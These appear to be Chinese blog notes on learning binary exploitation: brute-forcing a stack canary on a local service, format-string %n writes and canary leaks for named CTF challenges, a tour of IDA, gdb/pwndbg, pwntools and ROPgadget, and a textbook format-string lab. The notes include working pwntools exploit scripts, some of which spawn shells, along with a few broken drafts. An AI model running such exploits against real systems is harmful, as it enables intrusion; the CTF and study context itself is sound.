b’AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x1f’这是第31个\x1f[*] Closed connection to 127.0.0.1 port 5555[+] Opening connection to 127.0.0.1 on port 5555: Doneb’AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ‘这是第32个
[] Closed connection to 127.0.0.1 port 5555[+] Opening connection to 127.0.0.1 on port 5555: Doneb’AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA!’这是第33个![] Closed connection to 127.0.0.1 port 5555[+] Opening connection to 127.0.0.1 on port 5555: Doneb’AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA”‘这是第34个“
python2版本exp,这个的话,是只有io.recv()接收到了信息,才会往下执行,不然就走except了
1234567891011121314151617181920212223242526272829from pwn import *def brute_canary(): global canary canary = '\x00' for x in xrange(256): # 2 ** 8 io = remote("127.0.0.1", 5555) io.recv() io.send("A" * 104 + canary + chr(x)) try: io.recv() canary += chr(x) print("success") print("this is"+str(x)) print(chr(x)) break except: continue finally: io.close()def pwn(): io = remote("127.0.0.1", 5555) io.recv() io.send("A" * 104 + canary + "A" * 8 + p64(0x400BC6)) print io.recvline()if __name__ == '__main__': brute_canary() pwn()
错误的python3
12345678910111213141516171819202122232425262728293031from pwn import *import socketdef leak_canary(): for i in range(40): io = socket.socket() io.connect(("127.0.0.1",5555)) io.recv(1024) senddata = b"A"*104 + bytes(chr(i),'utf-8') #print(senddata) print("这是第"+str(i)+"个") io.send(senddata) try: data = io.recvline() if "Message received" in data: print("success") break #代表这一位已经爆破成功,跳出后进行下一位爆破 except: continue finally: io.close()def pwn(): io = remote("127.0.0.1",5555) io.recv() print(io.recvline())if __name__ == '__main__': leak_canary() pwn()
首先,问题在data = io.recvline(), 这个不行,可能是回复的没有换行符? recv就可以了! data = io.recv(1024),然后问题和之前一样,比特字符和字符串比较不行,需要统一格式!
经过修改后的
1234567891011121314151617181920212223242526272829303132from pwn import *import socketdef leak_canary(): global canary canary = '\x00' for i in range(30,35): io = remote("127.0.0.1",5555) io.recv() io.send(b"A"*104 + bytes(chr(i),'utf-8')) #print(senddata) print("这是第"+str(i)+"个") try: io.recv() canary += chr(x) print("success") print("this is"+str(x)) print(chr(x)) break except: continue finally: io.close()def pwn(): io = remote("127.0.0.1",5555) io.recv print(io.recvline())if __name__ == '__main__': leak_canary() pwn()
https://blog.csdn.net/Alex_andra/article/details/105923008
Python2:”A” * 104 + chr(i)
Python3:b”A”*104 + bytes(chr(i),’utf-8’)
为什么它们的输出不一样
打印字符的编码类型看看?
12345678910111213141516171819oot@VM-24-10-ubuntu:/home/ubuntu/ctfquanwei/REPL-master/Canary/NJCTF2017_messager# python2Python 2.7.17 (default, Feb 27 2021, 15:10:58)[GCC 7.5.0] on linux2Type "help", "copyright", "credits" or "license" for more information.>>> import sys,locale>>> sys.getdefaultencoding()'ascii'>>> qTraceback (most recent call last): File "<stdin>", line 1, in <module>NameError: name 'q' is not defined>>> quit()root@VM-24-10-ubuntu:/home/ubuntu/ctfquanwei/REPL-master/Canary/NJCTF2017_messager# python3Python 3.8.0 (default, Dec 9 2021, 17:53:27)[GCC 8.4.0] on linuxType "help", "copyright", "credits" or "license" for more information.>>> import sys,locale>>> sys.getdefaultencoding()'utf-8'
万能的chatgpt…………………………牛的
让chatgpt把python2的代码修改成python3的就可以了…………
我之前也是这么做的呀,只是没有canary的\x00那个值,为什么就不行呢? 果然是因为这个……
所以问题不在于编码,而在于这个\x00
python3
python可以打印数据类型,打印一下,也可以打印一下十六进制看看吧
b’AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x00”‘<class ‘bytes’>successthis is 34
不加canary也是bytes,所以和数据类型应该没关系
打印字节流的十六进制
………..0x410x410x410x00x21
对python2来说
<type ‘str’>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x00this is34“successthis is34“
1234567891011121314151617181920212223from pwn import *def brute_canary(): global canary canary = '\x00' for x in xrange(30,35): # 2 ** 8 io = remote("127.0.0.1", 5555) io.recvuntil(b"Welcome!\n") io.send("A" * 104 + canary + chr(x)) try: io.recv() canary += chr(x) print("success") print("this is"+str(x)) print(chr(x)) break except: continue finally: io.close()if __name__ == '__main__': brute_canary()
pwn入门-7-格式化字符串题目练习1
[第五空间2019 决赛]PWN5
第一个感觉是 利用第一个name的输入把/dev/urandom的值修改了,然后passwd输入这个值就可以了
1234567root@VM-24-10-ubuntu:/home/ubuntu/str/pwn5# checksec pwn[*] '/home/ubuntu/str/pwn5/pwn' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8048000)
整体的思路是,
1.找到要修改的值的地址,把这个地址写入栈中
2.找到这个地址在栈中的位置,需要移动多少个位置能到这里
3.利用%n随便写入一个值即可
4.passwd输入对应的值即可
首先,要修改的值的地址就是0x804c044,第一个问题解决.这个是因为ida在命名的时候如果没有符号表会用地址之类的命名,所以可以直接看出来..bss:0804C044 unk_804C044
它的逻辑就是从/dev/urandom读取一个值到这个地址
寻找写入位置寻找地址在栈中的位置可以进行尝试,或者利用gdb调试查看
pwndbg> rStarting program: /home/ubuntu/str/pwn5/pwnyour name:aaaaaa%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%xHello,aaaaaaffffd548.63.0.f7ffda9c.3.f7fd0410.1.0.1.61616161.78256161.2e78252e.252e7825
可以看到,是第10个,
或者利用aaaa%10$x 来一个一个尝试 数字和$的组合代表了查看第几个值
your name:aaaa%10$xHello,aaaa61616161
写入具体的值所以可以用
p32(0x804c044) + b”%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%n” 将值写入,写入的值的大小是
6+8+9*8 = 86
算的不对,可以在调试的时候检查一下
12pwndbg> x/wx 0x804c0440x804c044: 0x0000004c
0x4 = 76
6 + 4 + 8*8 = 76 6是hello, 4是p32() 32位,四个字节
passwd输入对应的值直接输入对应的数字即可 记得是biniay类型的
atoi函数会把字符转化成整数,但直接输入binary的数字也可以
exp12345678910111213141516171819202122232425262728293031323334from pwn import *context.log_level= "debug"io = process("./pwn")context.terminal = ['tmux', 'splitw', '-h']gdb.attach(io,"break main")pause()payload = p32(0x804c044) + b"%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%n"io.sendline(payload)pause()io.sendlineafter('passwd:',b'76')io.interactive()去除调试信息版本,记得这里修改payload后,passwd的长度也变了,这里就只有p32的长度4了from pwn import *context.log_level= "debug"io = remote("node4.buuoj.cn",25184)payload = p32(0x804c044) + b'%10$n'io.sendlineafter('name:',payload)io.sendlineafter('passwd:',b'4')io.interactive()
总结1.虽然开了NX和canary保护,但是不用栈溢出,所以不影响.这里不溢出的一个关键点大概是 name给的大小足够大?如果给小了可能是另外的了?
hitcon cmt 2017 pwn200题目给了源码
123456789101112131415#include<stdio.h>#include<stdlib.h>void canary_protect_me(){ system("/bin/sh");}int main(){ setvbuf(stdout, 0LL, 2, 0LL); setvbuf(stdin, 0LL, 1, 0LL); char buf[40]; gets(buf); printf(buf); gets(buf); return 0;}
编译:gcc -m32 -z lazy -z nonexecstack -fstack-protector -no-pie pwn200.c -o pwn200
存在栈溢出,但是有保护nx和canary, 思路大概是覆盖返回地址为canary_protect_me,覆盖谁的返回地址呢?覆盖下一个gets的?不是这个逻辑,它还没有调用,没有返回值,那就是覆盖main函数的?
正确的逻辑是 泄露canary然后栈溢出覆盖返回值
所以问题是canary在哪? 这两句,第一句把canary赋值给eax然后赋值给 ebp -0xc | 回头专门研究下canary
120x804859e <main+29> mov eax, dword ptr gs:[0x14]0x80485a4 <main+35> mov dword ptr [ebp - 0xc], eax
所以我们需要泄露 ebp - 0xc这个位置的值,然后就可以溢出,覆盖返回地址就可以了,但是调用printf的时候,ebp不会改变吗???
调试一下看看,不会…为啥呢?
12345一开始canary的位置 0xffffd5bc0b:002c│ 0xffffd5bc ◂— 0x50b7d5000c:0030│ 0xffffd5c0 —▸ 0xffffd5e0 ◂— 0x10d:0034│ 0xffffd5c4 ◂— 0x00e:0038│ ebp 0xffffd5c8 ◂— 0x0
和esp差了15个?
payload1 %15$x
然后栈溢出覆盖返回地址为canary_protect_me的 0x8048556 (p canary_protect_me 打印即可) 0x80491a2
payload2 40*’a’ + canary + 12 * ‘b’ + p32(0x8048556)
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbbccccccccccccddddeeeeeeeeeeeeeeee
这里有一个细节点,就是怎么正确接收canary,然后拼接上
是地址对其的问题吗?? 一直不成功
但是为什么用官方给的文件就可以?? https://bamboofox.cs.nctu.edu.tw/courses/3/challenges/61
是编译器的问题吗…调试一下看看
123456789101112from pwn import *#r = remote('bamboofox.cs.nctu.edu.tw',22002)r = process("./binary_200")func = 0x0804854dr.sendline('%15$x')canary = int(r.recv(), 16)payload = b'A'*40 + p32(canary) + b'B'*12 + p32(func)r.sendline(payload)r.interactive()
这边联动pwntools调试也有问题…研究一下
正确的应该是这样
不行的exp和这个感觉没啥区别,但是最后报错了<Could not read memory at 0x4242423e>
返回地址那里的问题感觉是
这个是有问题的,
这个是正常的
文件已保存…后面可以再检查下……
hitcon cmt 2017 pwn300https://bamboofox.cs.nctu.edu.tw/courses/3/challenges/62
pwn入门-6-常见工具使用入门
寒假一回来,一段时间没用,有点手生了,觉得还是需要写一篇博客来梳理一下常见工具的使用.
主要是静态分析、动态分析、脚本编写、小工具
静态分析:IDA proida 里面很多奇怪的东西dword ptr
qword ptr
ida的数据类型:https://blog.csdn.net/m0_43406494/article/details/109110983
图形模式设置一下这俩,行号和显示数据内容
箭头红色: 条件跳转没有被采用
绿色: 条件跳转被采用
蓝色: 无条件跳转被采用
方向向上表示循环
文本模式
在设置里可以打开 auto comments 自动注释
视图文件操作选择Windows中的Reset Desktop返回默认 视图
选择Windows中的Save Desktop保存这个 新视图
配置文件吗??
后退操作 esc
前进操作 ctrl+enter
常用快捷键:Table 切换视图
快捷键
p 在汇编中函数开头使用p,从当前地址处解析为函数
u
c 转换成代码
数据操作:shift + f12 显示字符串string
D – 设置数据 (Data) 1字节 2字节 4字节 8字节 进行循环
C – 设置代码 (Code) 设置为指令
A – 设置ASCII字符串 (ASCII)
*设置数组
O – 设置地址偏移 (Offset)
U – 取消定义 (Undefine)
X – 交叉引用查找 (Cross-reference, Xref)
函数操作P – 创建函数 Del – 删除函数 Ctrl+E – 修改函数(函数窗口)
Alt+P 修改函数(反汇编窗口)
伪代码操作N – 修改标识符名称 (Name)
Y – 修改标识符类型 (tYpe) 比如int类型还是double还是什么
搜索alt+t查找字符串
a 转换成字符串
d 分开的字符
G跳转指定地址
x 交叉引用 (函数和数据都有)
: 加一条注释
; 所有交叉引用都会回显这个注释
类型
WORD (w) 16位 无符号数值
DWORD (dw) 32位 无符号数值
脚本编写动态分析:gdb(pwndbg插件)There are a number of good gdb crash courses / reference manuals:
GDB’s documentation
Tudor’s gdb crash course
gdb debugging full example
pwndbg: a gdb extension (feature list)
gef: another gdb extension (feature list)
The course Debuggers 1012: Introductory GDB from OpenSecurityTraining2.
pwn.college https://www.youtube.com/watch?v=r185fCzdw8Y
pwndbg官方文档:https://browserpwndbg.readthedocs.io/en/docs/
https://github.com/pwndbg/pwndbg/blob/dev/FEATURES.md
gdb官方文档:
【CppCon 2016 比你知道更多的 GDB 知识,GDB - A Lot More Than You Knew 中英字幕】 https://www.bilibili.com/video/BV1Zk4y1w7ih/?share_source=copy_web&vd_source=2d8fb63a145457ff1a7e34f534a732e6
https://www.bilibili.com/video/BV1p14y1y7zv/?share_source=copy_web&vd_source=2d8fb63a145457ff1a7e34f534a732e6
TUI mode
control + x + a
ctrl + L重新绘制
ctrl + x + 2 两个窗口
ctrl + x + 1显示一个src窗口
ctrl + x + a 传统模式
ctrl p 上一个命令 ctrl n下一个
python 可以查看断点 下断点
可逆调试??? reverse-stepi
Target native does not support this command
使用前输入target record-full
触发间接性的错误, 需要多次运行, 设置条件判断
commond命令
调整把 stack 和 backtrace的行数减少,不然看不见上面的汇编了
配置文件:https://github.com/pwndbg/pwndbg/blob/dev/FEATURES.md
修改配置文件就可以了
找到pwndbg的下载目录的这个文件pwndbg/pwndbg/commands/context.py
12345678751行stack_lines = pwndbg.gdblib.config.add_param( "context-stack-lines", 8, "number of lines to print in the stack context")766行backtrace_lines = pwndbg.gdblib.config.add_param( "context-backtrace-lines", 8, "number of lines to print in the backtrace context")
启动调试gdb filename
gdb processName PID 或者 gdb -p
添加参数
gdb -args ./a.out a b c
断点相关b 函数名,如果有符号表的话可以,例如b gets
b 地址 例如:b *0x3123213 这样打
info b 查看断点信息
delete n 删除n号断点
运行r 运行程序,会一直运行,直到比如需要输入什么东西等
s 从头开始运行,断到第一行
c 运行到下一个断点
调试地址 就是 这个程序的基地址 + ida中的地址
n 单步执行,(有函数的话直接跳过不进入)
s 单步进入,有函数的话会进入
finish 执行完当前函数,返回调用它的函数
怎么查看自己当前在哪一行??和下面的代码??
disass
运行的时候 怎么 添加参数? run arg1 arg2…
查看信息codebase 查看地址 (调试地址 就是 这个程序的基地址 + ida中的地址)
vmmap查看内存映射mmap地址 信息
teles 查看栈的信息
p 变量名 查看变量地址
info
reg 查看寄存器信息
dereference $esp 是啥??
查看内存信息使用examine命令(简写是x)来查看内存地址中的值
x/nuf 例如x /20wx 0x0000000
n是个数,表示从当前地址往后显示的内存的长度,即显示几个地址的内容
u表示,从当前地址往后请求的字节数,不指定的话默认4bytes,32位.b表示单字节,h表示双字节,w表示四字节,g表示八字节。
f是显示的格式( i可以查看汇编代码)
123456789pwndbg> x/4bx 0x7fffffffe4900x7fffffffe490: 0x00 0x80 0x00 0x00pwndbg> x/4hx 0x7fffffffe4900x7fffffffe490: 0x8000 0x0000 0x0001 0x0000pwndbg> x/4wx 0x7fffffffe4900x7fffffffe490: 0x00008000 0x00000001 0x55554759 0x00005555pwndbg> x/4gx 0x7fffffffe4900x7fffffffe490: 0x0000000100008000 0x00005555555547590x7fffffffe4a0: 0x0000000000000000 0xa2698e7a0212c01a
堆相关heap 查看堆的信息
heap bins 查看bins的信息
heap chunks 查看chunk的信息
Vis 查看堆内存
修改内存、寄存器等 方便调试set $eip = xxxx
set {unsigned int}0x8048a51=0x0
find 内存搜索
其他watch 监测点?
canary
q 退出
display /3i $rip 设置单步执行后自动显示的内容,这里显示后续三条指令
查看寄存器
(gdb) i r (gdb) i r a # 查看所有寄存器(包括浮点、多媒体) (gdb) i r esp (gdb) i r pc
info reg
调试一下输出为16进制吧: set output-radix 16
eb address [data [data …]]
p sizeof()查看变量、结构体大小
结构体相关p 结构体名字
p *(struct xxx *) addr
123456pwndbg> p *(DSI *) dsivalue of type `DSI' requires 67416 bytes, which is more than max-value-sizepwndbg> p dsi$4 = (DSI *) 0x5555555b8960pwndbg> p *(DSI *) 0x5555555b8960value of type `DSI' requires 67416 bytes, which is more than max-value-size
调试技巧下好断点,然后多用c,在堆的调试中很好用
pwntools中加input()
gdb中怎么看文件描述符呢,有多少个,打开的 ll /proc/1562844/fd 需要看进程信息
https://www.cnblogs.com/mfryf/p/5329770.html
vmmap 查看内存分布
子进程调试https://blog.csdn.net/cjfeii/article/details/21647663
set detach-on-fork off
有好几种模式
info threads
切换线程
info inferiors
https://blog.csdn.net/bsp_mpu6050/article/details/107886383
脚本编写:pwntools官方文档:https://docs.pwntools.com
https://pwntools-docs-zh.readthedocs.io/zh_CN/dev/gdb.html
123456789101112131415161718192021222324252627282930from pwn import *context.log_level= "debug"io = process("./pwn3")context.terminal = ['tmux', 'splitw', '-h']gdb.attach(io,"b main")#pause()#io.sendlineafter('Input:',payload)io.interactive()from pwn import *context.log_level= "debug"io = process("./pwn3")context.terminal = ['tmux', 'splitw', '-h']gdb.debug(io,"b main")#pause()#io.sendlineafter('Input:',payload)io.interactive()
https://blog.csdn.net/fjh1997/article/details/105434992/
配合gdb在输入一段数据后 断下,比如字符串的那个例子,我们想要查看刚刚输入完数据后的情况,
第一种方法,找到断点
12345678 0x5655563b <fmtstr+110> push 0x63 0x5655563d <fmtstr+112> lea eax, [ebp - 0x70]► 0x56555640 <fmtstr+115> push eax 0x56555641 <fmtstr+116> call fgets@plt <fgets@plt> 0x56555646 <fmtstr+121> add esp, 0x10 0x56555649 <fmtstr+124> sub esp, 0xc 0x5655564c <fmtstr+127> lea eax, [ebp - 0x70]
attach的时候断到断点这里就好了,然后 gdb那边c, 然后pwntools这边执行一下(回车) 即可, 或者不用pause, 直接在gdb那c一下就行了
12345678910111213141516from pwn import *context.log_level= "debug"io = process("./vul32")#io = process("./pwn3","b main")context.terminal = ['tmux', 'splitw', '-h']gdb.attach(io,"break *0x56555646")#gdb.debug("./vul32","break main")pause()io.sendline("aaaaaa")pause()#io.sendlineafter('Input:',payload)io.interactive()
__kernel_vsyscall+ 一上来的这个是什么?????????? 这是进入到了内核里面吧 可以通过backtrace来看
#6 0xf7e4b29c in _IO_fgets
#7 0x56555646 in fmtstr ()#8 0x565556a5 in main ()#9 0xf7dfdfa1 in __libc_start_main (main=0x56555685 , argc=1, argv
确实是进入到断点后的位置
右边c的时候,需要左边pwntools这边进行输入,右边不能进行输入的
第二种,直接在开头就断点就好了
pwntools基础操作send和sendline的区别,send只是发送数据,sendline发送一行数据,也就是除了数据,还会加一个换行(回车)
https://blog.csdn.net/weixin_45556441/article/details/113982718
安装apt-get install libffi-dev,libssl-dev
pip install pwntools
环境变量设置 许多都是通过全局变量context进行设置的,例如操作系统,架构,字节序等
12context.os = 'linux'context.log_level = "debug" True
连接及交互1234567891011121314file = process("./pwn") #本地文件 p= remote("xx.xx.xx.xx",12345) #远程 p.send(payload) #发送数据p.sendline(payload) #发送数据并添加换行符p.senduntil?p.sendafter(string)p.sendlineafter()p.recv(count) # 接收count长度的信息p.recvuntil(string,drop=True or False) #返回直到接收到指定字符串的信息,drop参数可以指定是否包含终止字符串p.clear() # 清空消息缓存p.interactive() # 与程序进行交互
编码类 漏洞利用时,payload可能有各种形式,8.16,32,64位、大端小端,pwntools提供了编码和解码的函数,p开头是编码,u开头是解码,后面跟着的是位数. 此外还提供了asm和disasm两个函数进行汇编和反汇编的转换
12p32(0x8040000) '\x00\x00\x04\x08'hex(u32('\x00\x00\x04\x08')) '0x8040000'
文件信息获取类 获取二进制文件或者libc等的got plt表地址,或者偏移等
123456elf = ELF('bin-path') #加载二进制文件elf.got['fun_name'] #获取对应函数的got表地址elf.plt['fun_name'] #获取对应函数的plt表地址libc = ELF('libc-path') #加载二进制文件libc.symbols[‘system’] #获取函数地址 libc.sym['system'] 有什么区别??
symbols和got plt的关系???3
libc地址计算类格式化字符串shellcodeShellcraft.sh()
patchelfpatchelf –set-interpreter /home/ubuntu/glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/ld-linux.so.2 ./a.outpatchelf –set-rpath /home/ubuntu/glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/ ./a.out
gadget相关工具ROPgadgetROPgadget –binary rop –only ‘pop|ret’ | grep ‘eax’
ROPgadget –binary ret2syscall –only ‘int’
ROPgadget –binary ret2syscall –string ‘/bin/sh’
objdump
libcsearchhttps://blog.csdn.net/qq_44108455/article/details/105458234
https://blog.csdn.net/csdn546229768/article/details/121177641
apt get install zstd
在线搜索libc libc database searchhttps://libc.blukat.me
https://libc.rip
https://github.com/niklasb/libc-database
https://github.com/lieanu/LibcSearcher
Linux自带工具file 查看文件基本信息
ldd打印依赖的共享库文件
nm打印可执行程序的符号信息
strings查看可打印字符串信息
objdump打印可执行程序的信息
-h 打印section头信息
-d 打印可执行section汇编
readelf查看data段
pwn入门-5-格式化字符串漏洞
备忘1.看一下其他资料、书、博客、datacon的视频等
2.刷题
主要是对《计算机安全导论-深度实践》 里面格式化字符串一章节的学习和复现
基础printf等输出函数为什么可以接收任意数量的参数? 就是这么设计的
va_list是什么? 如何移动?
参见《计算机安全导论 深度实践》107页
漏洞程序与利用漏洞程序
12345678910111213141516171819#include <stdio.h>void fmtstr(){ char input[100]; int var = 0x11223344; //输出一些后面要用到的数据 printf("target address %x\n",(unsigned) &var); printf("data at target address:0x%x\n",var); printf("please enter a string:"); fgets(input, sizeof(input)-1,stdin); printf(input); //漏洞点在这里 printf("data at target address: 0x%x\n",var);}void main(){ fmtstr();}
gcc -m32 -o vul vul.c 编译32位的
去除保护需要吗? -fno-stack-protector gcc -m32 -fno-stack-protector -o vul vul.c
sudo chown root vul
sudo chmod 4755 vul
sudo sysctl -w kernel.randomize_va_space=0 关闭地址随机化保护
认识程序栈了解程序在栈中的布局非常重要
输出栈中的数据%x.%x.%x.%x.%x.%x.%x.%x.%x.
63.f7fbd5c0.565555d9.ffffd5aa.11223344.252e7825.78252e78.2e78252e.252e7825.
为什么是%x呢? 别的呢? 看基础里面的图,这个是printf的输出格式 ,
这个顺序是什么顺序呢?从哪里开始呢? 为什么不是格式化字符串地址挨着变量呢?
刚输入进去的时候是挨着的呀,哦吼,这是从esp下面第一个开始往下打印,所以这里的栈桢结构和上面的图是反着的!!
1234567891000:0000│ esp 0xffffd510 —▸ 0xffffd52c ◂— '%x.%x.%x.%x.%x.%x.%x.%x.%x.\n'01:0004│ 0xffffd514 ◂— 0x63 /* 'c' */02:0008│ 0xffffd518 —▸ 0xf7fbd5c0 (_IO_2_1_stdin_) ◂— 0xfbad228803:000c│ 0xffffd51c —▸ 0x56555579 (fmtstr+12) ◂— add ebx, 0x1a5704:0010│ 0xffffd520 —▸ 0xffffd55a ◂— 0xf400010005:0014│ 0xffffd524 —▸ 0xf7ffc984 (_rtld_global_ro+132) ◂— 0x606:0018│ 0xffffd528 ◂— 0x1122334407:001c│ 0xffffd52c ◂— '%x.%x.%x.%x.%x.%x.%x.%x.%x.\n'pwndbg>08:0020│ 0xffffd530 ◂— 'x.%x.%x.%x.%x.%x.%x.%x.\n
在gdb中,直接r,然后输入%x.%x.%x.%x.%x.%x.%x.%x.%x., 就直接运行结束了,没办法看到调试后的效果,这也是自己刚开始很久都不会的调试方法…这种问题应该和同学交流的,搜索引擎也不容易搜到.
pwndbg> rStarting program: /home/ubuntu/cssec/strings/vultarget address ffffd524data at target address:0x11223344please enter a string:%x.%x.%x.%x.%x.%x.%x.%x.%x.63.f7fbd5c0.565555d9.ffffd55a.11223344.252e7825.78252e78.2e78252e.252e7825.data at target address: 0x11223344[Inferior 1 (process 28953) exited normally
在它之后下断点就可以了吧
12345678910111213141516171819202122232425262728293031323334 0x5655563d <fmtstr+112> lea eax, [ebp - 0x70] 0x56555640 <fmtstr+115> push eax ► 0x56555641 <fmtstr+116> call fgets@plt <fgets@plt> s: 0xffffd528 —▸ 0xf7ffc988 (_rtld_global_ro+136) ◂— 0x55 /* 'U' */ n: 0x63 stream: 0xf7fbd5c0 (_IO_2_1_stdin_) ◂— 0xfbad2088 0x56555646 <fmtstr+121> add esp, 0x10 0x56555649 <fmtstr+124> sub esp, 0xc 0x5655564c <fmtstr+127> lea eax, [ebp - 0x7 可以在这后面直接下断点即可 b *0x56555646 在fgets输入后得到栈的布局如下 pwndbg> teles00:0000│ esp 0xffffd510 —▸ 0xffffd528 ◂— 'aaaabbbbccccddddeeeeffff\n'01:0004│ 0xffffd514 ◂— 0x63 /* 'c' */02:0008│ 0xffffd518 —▸ 0xf7fbd5c0 (_IO_2_1_stdin_) ◂— 0xfbad228803:000c│ 0xffffd51c —▸ 0x565555d9 (fmtstr+12) ◂— add ebx, 0x19f304:0010│ 0xffffd520 —▸ 0xffffd55a ◂— 0x9d00010005:0014│ 0xffffd524 ◂— 0x1122334406:0018│ eax ecx 0xffffd528 ◂— 'aaaabbbbccccddddeeeeffff\n'07:001c│ 0xffffd52c ◂— 'bbbbccccddddeeeeffff\n'pwndbg>08:0020│ 0xffffd530 ◂— 'ccccddddeeeeffff\n'09:0024│ 0xffffd534 ◂— 'ddddeeeeffff\n'0a:0028│ 0xffffd538 ◂— 'eeeeffff\n'0b:002c│ 0xffffd53c ◂— 'ffff\n'0c:0030│ 0xffffd540 ◂— 0xa /* '\n' */0d:0034│ 0xffffd544 ◂— 0x2c307d /* '}0,' */0e:0038│ 0xffffd548 ◂— 0x1
或者直接si进去查看就好了,关键是怎么在pwntools中进行关联
这个顺序是什么顺序呢?从哪里开始呢?12345678910111213141516pwndbg> ni63.f7fbd5c0.565555d9.ffffd55a.11223344.252e7825.78252e78.2e78252e.252e7825.0x56555655 in fmtstr () 00:0000│ esp 0xffffd510 —▸ 0xffffd528 ◂— '%x.%x.%x.%x.%x.%x.%x.%x.%x.\n'01:0004│ 0xffffd514 ◂— 0x63 /* 'c' */02:0008│ 0xffffd518 —▸ 0xf7fbd5c0 (_IO_2_1_stdin_) ◂— 0xfbad228803:000c│ 0xffffd51c —▸ 0x565555d9 (fmtstr+12) ◂— add ebx, 0x19f304:0010│ 0xffffd520 —▸ 0xffffd55a ◂— 0x6000010005:0014│ 0xffffd524 ◂— 0x1122334406:0018│ 0xffffd528 ◂— '%x.%x.%x.%x.%x.%x.%x.%x.%x.\n'07:001c│ 0xffffd52c ◂— 'x.%x.%x.%x.%x.%x.%x.%x.\n 能看到通过%x输出的是从esp的下一个开始,往ebp方向输出 252e7825 应该是%x.的ascii之类的?????????????/
修改内存中的数据 一开始会觉得很奇怪,printf不是输出东西的吗, 为什么可以修改数据,这就涉及到一些奇奇怪怪的用法了,printf中有一个%n,会把目前已打印出的字符的个数写入内存,数据在内存中保存的本质就是数字,所以这样就可以修改了
123target address ffffe43cdata at target address:0x11223344Segmentation fault (core dumped)
为什么会一直报这个错呢???
64位和32位可以分别调试一下
x/wx 0xffffe3ec0xffffe3ec: Cannot access memory at address 0xffffe3ec
???
123► 0x565555ff <fmtstr+50> call printf@plt <printf@plt> format: 0x56555760 ◂— 'target address %x\n' vararg: 0xffffd524 ◂— 0x11223344
pwndbg> x/wx 0xffffd5240xffffd524: 0x11223344
32位可以访问了…
64位的为什么会崩溃呢? 写入数据的时候 Segmentation fault (core dumped)
因为不能访问这个地址,为什么不能访问呢? 感觉这个地址有问题,果然,是前面少了东西! 为啥少呢? 和源代码里面的%x有关系吗,gdb也没提示这个呀….
123456pwndbg> x/2wx 0x7fffffffe3e80x7fffffffe3e8: 0xf7ffe710 0x11223344pwndbg> x/2wx 0xffffe3ec0xffffe3ec: Cannot access memory at address 0xffffe3ecpwndbg> x/2wx 0x7fffffffe3ec0x7fffffffe3ec: 0x11223344 0x00000000
先用试错法,不加%n找到要修改的地址的位置距离va_list指针有几个移动位置(每一个%x会输出一个东西,然后va_list指针移动,我们需要把它移动到存储要修改的内容的地址的地方)
123456root@VM-24-10-ubuntu:/home/ubuntu/cssec/strings# echo $(printf "\x64\xd4\xff\xff").%x.%x.%x.%x.%x.%x > inputroot@VM-24-10-ubuntu:/home/ubuntu/cssec/strings# ./vul32 < inputtarget address ffffd464data at target address:0x11223344please enter a string:d.63.f7fbd5c0.565555d9.ffffd49a.11223344.ffffd464data at target address: 0x11223344
需要移动五个位置才能到ffffd464,5个%x,然后%n把前面的数据写入到这个地址
123456root@VM-24-10-ubuntu:/home/ubuntu/cssec/strings# echo $(printf "\x74\xd5\xff\xff").%x.%x.%x.%x.%x.%n > inputroot@VM-24-10-ubuntu:/home/ubuntu/cssec/strings# ./vul32 < inputtarget address ffffd574data at target address:0x11223344please enter a string:t���.63.f7fbd5c0.565555d9.ffffd5aa.11223344.data at target address: 0x2c
0x2c 也就是 32 + 12 = 44
44怎么来的呢,遇到%n之前输出了44个字符,5 * 8 = 40,这是第 1 3456个输出, 第二个输出是63 也就是两位,
4 + 2 + 4*8 + 6 = 44
4(\x64\xd4\xff\xff) + 2(63) + 4 *8 + 6(点) = 44 ,就是这一串:t���.63.f7fbd5c0.565555d9.ffffd5aa.11223344.
修改内存中数据为指定值修饰符 这里涉及到指定值的大小问题,如果很大的值肯定不能一直堆字符,用精度或者宽度修饰符来解决
echo $(printf “\x64\xd4\xff\xff”).%.8x.%x.%x.%x.%.10000000x.%n > input
123456root@VM-24-10-ubuntu:/home/ubuntu/cssec/strings# echo $(printf "\x64\xd4\xff\xff").%.8x.%x.%x.%x.%x.%n > inputroot@VM-24-10-ubuntu:/home/ubuntu/cssec/strings# ./vul32 < inputtarget address ffffd464data at target address:0x11223344please enter a string:d.00000063.f7fbd5c0.565555d9.ffffd49a.11223344.data at target address: 0x32
精度修饰符:
宽度修饰符:
但是这样做也有问题,需要打印很多字符,耗时耗资源>
更快的办法 格式规定符的长度修饰符
%n:视参数为4字节整型数
%hn:视参数为2字节短整型数
%hhn:视参数为1字节字符型数
1234pwndbg> x/2bx 0xffffd4160xffffd416: 0x22 0x11pwndbg> x/2bx 0xffffd4140xffffd414: 0x44 0x33
echo $(printf “\x66\xd4\xff\xff@@@@\x64\xd4\xff\xff”)%.8x%.8x%.8x%.8x%.26204x%hn%.4369x%hn > input
data at target address: 0x6688779
利用格式化字符串漏洞注入恶意代码漏洞源代码
